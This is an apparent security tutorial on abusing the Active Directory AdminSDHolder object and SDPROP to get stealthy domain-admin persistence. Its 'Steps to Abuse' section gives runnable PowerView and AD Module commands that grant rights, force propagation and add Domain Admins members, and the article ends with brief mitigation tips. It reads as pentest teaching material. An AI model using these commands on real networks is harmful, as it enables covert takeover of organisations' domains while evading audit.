AdminSDHolder

A very sneaky and effective way to maintain persistence in Active Directory is by taking advantage of the AdminSDHolder (ASDH) object.

In every AD, a process called the Security Descriptor Propogator (SDPROP) runs every 60 minutes which checks the Access Control Lists of certain privileged groups and modifies them, if necessary, to match the ACL's of the ASDH. In essence, the AdminSDHolder object controls the permissions of those privileged groups it has control over.

Who, in fact, are these protected groups?

• Account Operators

• Backup Operators

• Server Operators

• Print Operators

• Domain Admins

• Replicator

• krbtgt

• Enterprise Admins

• Domain Controllers

• Read-Only Domain Controllers

• Schema Admins

• Administrators

It should be noted that Account Operators, Backup Operators, Print Operators, and Server Operators can be excluded from control if desired.

There are several purposes of this procedure. One, to protect against any unintentional modifications to those privileged groups. Second, this mechanism prevents inheritance by the privileged objects of permissions set on their parent objects. Finally, and for the obvious reason, to secure the privileged groups from manual, or malicious modifications.

It is an effective security mechanism because the Account Operators, Backup Operators, Print Operators, and Server Operators have very well-known abuses AND can log on locally to the Domain Controller. Therefore, if a hacker can abuse the privileges of that account and escalate privileges, he will have control over the DC.

There is one hole in this mechanism, however, and it is that by default the Domain Admins are the owners of the ASDH object itself. Therefore, if you have access with Domain Admin (or Enterprise Admin) privileges, you can add any user you wish to this object with either full control or modify privileges, wait for (or invoke) the SDPROP to run and you will now find your user becoming essentially a Domain Admin with modification privileges over the group without actually being a member of it.

What makes this method of persistence so effective? The user you added with permissions over the AdminSDHolder object is not actually in the Domain Admins group yet, he can modify the Domain Admins. Therefore, it is less likely to be noticed by administrators since DA's are audited a lot. Your user not appearing as a member of the DA's will not attract immediate notice.

Steps to Abuse:

1) With Domain Admin privileges, add a user with full control (or modify) privileges to the ASDH.

• Via RDP/Local Session:

• Via Powershell:

# PowerView 
Add-ObjectAcl -TargetADSPrefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName <username> -Rights All -Verbose
# AD Module:  
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=bizcorp,DC=local' -Principal <username> -Verbose

2) Wait for the next SDPROP to run or you can run Invoke-SDPropogator.ps1

Invoke-SDPropogator -timeoutMinutes 1 -showProgress -Verbose

3) Check your new permissions

# PowerView
Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs | ?{$_.IdentityReference -match '<username>'}
# AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=bizcorp,DC=local').Access | ?{$_.IdentityReference -match '<username>'}

4) Abuse your new privileges

• Add a user to Domain Admins...

# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members <username> -Verbose
# AD Module
Add-ADGroupMember -Identity 'Domain Admins' -Members <username> -Verbose

• Change a user's password (doesn't have to be a DA either), etc.

Mitigations:

• Monitor the ACL's to make sure they are kept at default values

• Check users and groups with AdminCount set to 1 to identify accounts with their ACL's set via SDPROP